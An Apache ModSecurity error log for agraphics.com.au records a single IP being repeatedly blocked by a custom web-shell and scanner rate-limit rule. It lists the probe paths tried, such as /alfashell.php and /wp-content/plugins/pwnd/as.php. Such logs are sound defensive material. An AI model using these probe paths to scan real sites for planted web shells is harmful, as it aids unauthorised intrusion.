[Fri Apr 17 14:35:30.026020 2026] [:error] [pid 9152:tid 9193] [client 74.234.56.128:29475] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "aeHUspJYca8I3TNCwIf_pwAAAEM"]
[Fri Apr 17 14:35:30.330553 2026] [:error] [pid 61523:tid 61557] [client 74.234.56.128:28963] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aeHUssOaH-Pgc7WEf4NHlgAAAc8"]
[Fri Apr 17 14:35:30.887925 2026] [:error] [pid 51878:tid 51902] [client 74.234.56.128:29512] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aeHUsknQhUtMbw9EsgYbGQAAARY"]
[Fri Apr 17 14:35:31.111551 2026] [:error] [pid 9151:tid 9185] [client 74.234.56.128:28509] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "aeHUs8hTVuRPkua22vQVEwAAABg"]
[Fri Apr 17 14:35:31.393145 2026] [:error] [pid 25010:tid 25026] [client 74.234.56.128:30045] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aeHUs4-7kkf42RarqQ1GAgAAAU0"]
[Fri Apr 17 14:35:31.882838 2026] [:error] [pid 9151:tid 9165] [client 74.234.56.128:30041] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "aeHUs8hTVuRPkua22vQVFQAAAAQ"]
[Fri Apr 17 14:35:31.926640 2026] [:error] [pid 9151:tid 9161] [client 74.234.56.128:27495] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aeHUs8hTVuRPkua22vQVFgAAAAA"]
[Fri Apr 17 14:35:32.466565 2026] [:error] [pid 9263:tid 9280] [client 74.234.56.128:28973] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aeHUtBP68VyHNvj1e56kcwAAAM8"]
[Fri Apr 17 14:35:32.513967 2026] [:error] [pid 9263:tid 9278] [client 74.234.56.128:30054] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "aeHUtBP68VyHNvj1e56kdAAAAM0"]
[Fri Apr 17 14:35:33.030839 2026] [:error] [pid 9263:tid 9276] [client 74.234.56.128:28969] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aeHUtRP68VyHNvj1e56kdQAAAMs"]
[Fri Apr 17 14:35:33.072586 2026] [:error] [pid 9151:tid 9175] [client 74.234.56.128:30010] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "aeHUtchTVuRPkua22vQVGAAAAA4"]
[Fri Apr 17 14:35:33.546070 2026] [:error] [pid 34273:tid 34276] [client 74.234.56.128:28948] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aeHUtWuQDW686mK3dgHDugAAAYE"]
[Fri Apr 17 14:35:33.734078 2026] [:error] [pid 9152:tid 9207] [client 74.234.56.128:29019] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aeHUtZJYca8I3TNCwIf_qwAAAFE"]
[Fri Apr 17 14:35:34.063889 2026] [:error] [pid 9151:tid 9170] [client 74.234.56.128:29562] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aeHUtshTVuRPkua22vQVGQAAAAk"]
[Fri Apr 17 14:35:34.379698 2026] [:error] [pid 9151:tid 9166] [client 74.234.56.128:29983] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aeHUtshTVuRPkua22vQVGgAAAAU"]
[Fri Apr 17 14:35:34.567146 2026] [:error] [pid 61523:tid 61545] [client 74.234.56.128:29536] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeHUtsOaH-Pgc7WEf4NHmgAAAcM"]
[Fri Apr 17 14:35:34.950145 2026] [:error] [pid 61523:tid 61555] [client 74.234.56.128:25913] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aeHUtsOaH-Pgc7WEf4NHnwAAAc0"]
[Fri Apr 17 14:35:35.156224 2026] [:error] [pid 61523:tid 61550] [client 74.234.56.128:28496] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeHUt8OaH-Pgc7WEf4NHoQAAAcg"]
[Fri Apr 17 14:35:35.500784 2026] [:error] [pid 61523:tid 61566] [client 74.234.56.128:29538] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aeHUt8OaH-Pgc7WEf4NHowAAAdg"]
[Fri Apr 17 14:35:35.709774 2026] [:error] [pid 61523:tid 61544] [client 74.234.56.128:29543] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeHUt8OaH-Pgc7WEf4NHpQAAAcI"]
[Fri Apr 17 14:35:36.073463 2026] [:error] [pid 61523:tid 61562] [client 74.234.56.128:29542] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeHUuMOaH-Pgc7WEf4NHpgAAAdQ"]
[Fri Apr 17 14:35:36.233076 2026] [:error] [pid 9263:tid 9287] [client 74.234.56.128:29487] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/"] [unique_id "aeHUuBP68VyHNvj1e56kdgAAANY"]
[Fri Apr 17 14:35:36.680919 2026] [:error] [pid 61523:tid 61549] [client 74.234.56.128:29557] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeHUuMOaH-Pgc7WEf4NHqQAAAcc"]
[Fri Apr 17 14:35:36.795332 2026] [:error] [pid 25010:tid 25014] [client 74.234.56.128:26986] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aeHUuI-7kkf42RarqQ1GBgAAAUE"]
[Fri Apr 17 14:35:37.229513 2026] [:error] [pid 9263:tid 9277] [client 74.234.56.128:28463] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeHUuRP68VyHNvj1e56kdwAAAMw"]
[Fri Apr 17 14:35:37.320638 2026] [:error] [pid 25010:tid 25029] [client 74.234.56.128:29964] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aeHUuY-7kkf42RarqQ1GCAAAAVA"]
[Fri Apr 17 14:35:37.833053 2026] [:error] [pid 34273:tid 34289] [client 74.234.56.128:28425] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeHUuWuQDW686mK3dgHDuwAAAY4"]
[Fri Apr 17 14:35:37.862530 2026] [:error] [pid 9151:tid 9179] [client 74.234.56.128:26939] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aeHUuchTVuRPkua22vQVGwAAABI"]
[Fri Apr 17 14:35:38.359151 2026] [:error] [pid 34273:tid 34287] [client 74.234.56.128:27447] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aeHUumuQDW686mK3dgHDvAAAAYw"]
[Fri Apr 17 14:35:38.392570 2026] [:error] [pid 34273:tid 34298] [client 74.234.56.128:28944] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aeHUumuQDW686mK3dgHDvQAAAZc"]
[Fri Apr 17 14:35:38.877702 2026] [:error] [pid 34273:tid 34292] [client 74.234.56.128:29503] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aeHUumuQDW686mK3dgHDvgAAAZE"]
[Fri Apr 17 14:35:38.938198 2026] [:error] [pid 25010:tid 25020] [client 74.234.56.128:29467] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ew.php"] [unique_id "aeHUuo-7kkf42RarqQ1GDAAAAUc"]
[Fri Apr 17 14:35:39.424292 2026] [:error] [pid 9151:tid 9167] [client 74.234.56.128:29504] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aeHUu8hTVuRPkua22vQVHgAAAAY"]
[Fri Apr 17 14:35:39.464996 2026] [:error] [pid 51878:tid 51896] [client 74.234.56.128:27498] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ew.php"] [unique_id "aeHUu0nQhUtMbw9EsgYbHQAAARA"]
[Fri Apr 17 14:35:39.989576 2026] [:error] [pid 51878:tid 51894] [client 74.234.56.128:30003] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aeHUu0nQhUtMbw9EsgYbHwAAAQ4"]
[Fri Apr 17 14:35:40.001392 2026] [:error] [pid 9263:tid 9289] [client 74.234.56.128:28448] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ew.php"] [unique_id "aeHUvBP68VyHNvj1e56keQAAANg"]
[Fri Apr 17 14:35:40.520125 2026] [:error] [pid 9263:tid 9270] [client 74.234.56.128:27957] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeHUvBP68VyHNvj1e56kewAAAMU"]
[Fri Apr 17 14:35:40.542049 2026] [:error] [pid 9263:tid 9274] [client 74.234.56.128:28940] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ew.php"] [unique_id "aeHUvBP68VyHNvj1e56kfAAAAMk"]
[Fri Apr 17 14:35:41.047014 2026] [:error] [pid 9263:tid 9268] [client 74.234.56.128:29038] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "aeHUvRP68VyHNvj1e56kfgAAAMM"]
[Fri Apr 17 14:35:41.054258 2026] [:error] [pid 9153:tid 9219] [client 74.234.56.128:25430] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeHUveMHGxkTZX3c45fPpgAAAIE"]
[Fri Apr 17 14:35:41.573195 2026] [:error] [pid 25010:tid 25034] [client 74.234.56.128:27466] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "aeHUvY-7kkf42RarqQ1GDwAAAVU"]
[Fri Apr 17 14:35:41.643936 2026] [:error] [pid 25010:tid 25024] [client 74.234.56.128:28962] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeHUvY-7kkf42RarqQ1GEAAAAUs"]
[Fri Apr 17 14:35:42.085968 2026] [:error] [pid 34273:tid 34293] [client 74.234.56.128:30039] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "aeHUvmuQDW686mK3dgHDwQAAAZI"]
[Fri Apr 17 14:35:42.286439 2026] [:error] [pid 9151:tid 9177] [client 74.234.56.128:29482] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeHUvshTVuRPkua22vQVIwAAABA"]
[Fri Apr 17 14:35:42.611308 2026] [:error] [pid 34273:tid 34280] [client 74.234.56.128:29530] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file21.php"] [unique_id "aeHUvmuQDW686mK3dgHDwgAAAYU"]
[Fri Apr 17 14:35:42.796089 2026] [:error] [pid 9263:tid 9272] [client 74.234.56.128:29477] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aeHUvhP68VyHNvj1e56kgwAAAMc"]
[Fri Apr 17 14:35:43.150846 2026] [:error] [pid 61523:tid 61565] [client 74.234.56.128:28020] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hypo.php"] [unique_id "aeHUv8OaH-Pgc7WEf4NHqwAAAdc"]
[Fri Apr 17 14:35:43.322903 2026] [:error] [pid 61523:tid 61549] [client 74.234.56.128:30005] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aeHUv8OaH-Pgc7WEf4NHrAAAAcc"]
[Fri Apr 17 14:35:43.666858 2026] [:error] [pid 61523:tid 61553] [client 74.234.56.128:30031] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hypo.php"] [unique_id "aeHUv8OaH-Pgc7WEf4NHrQAAAcs"]
[Fri Apr 17 14:35:43.859823 2026] [:error] [pid 61523:tid 61558] [client 74.234.56.128:28929] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aeHUv8OaH-Pgc7WEf4NHrgAAAdA"]
[Fri Apr 17 14:35:44.202990 2026] [:error] [pid 61523:tid 61563] [client 74.234.56.128:29028] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hypo.php"] [unique_id "aeHUwMOaH-Pgc7WEf4NHsQAAAdU"]
[Fri Apr 17 14:35:44.398851 2026] [:error] [pid 9263:tid 9279] [client 74.234.56.128:27480] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "aeHUwBP68VyHNvj1e56khgAAAM4"]
[Fri Apr 17 14:35:44.735002 2026] [:error] [pid 61523:tid 61566] [client 74.234.56.128:26427] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hypo.php"] [unique_id "aeHUwMOaH-Pgc7WEf4NHtQAAAdg"]
[Fri Apr 17 14:35:44.927946 2026] [:error] [pid 61523:tid 61548] [client 74.234.56.128:29961] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aeHUwMOaH-Pgc7WEf4NHtgAAAcY"]
[Fri Apr 17 14:35:45.272113 2026] [:error] [pid 9151:tid 9169] [client 74.234.56.128:30027] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file18.php"] [unique_id "aeHUwchTVuRPkua22vQVJAAAAAg"]
[Fri Apr 17 14:35:45.461932 2026] [:error] [pid 9151:tid 9165] [client 74.234.56.128:30049] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "aeHUwchTVuRPkua22vQVJQAAAAQ"]
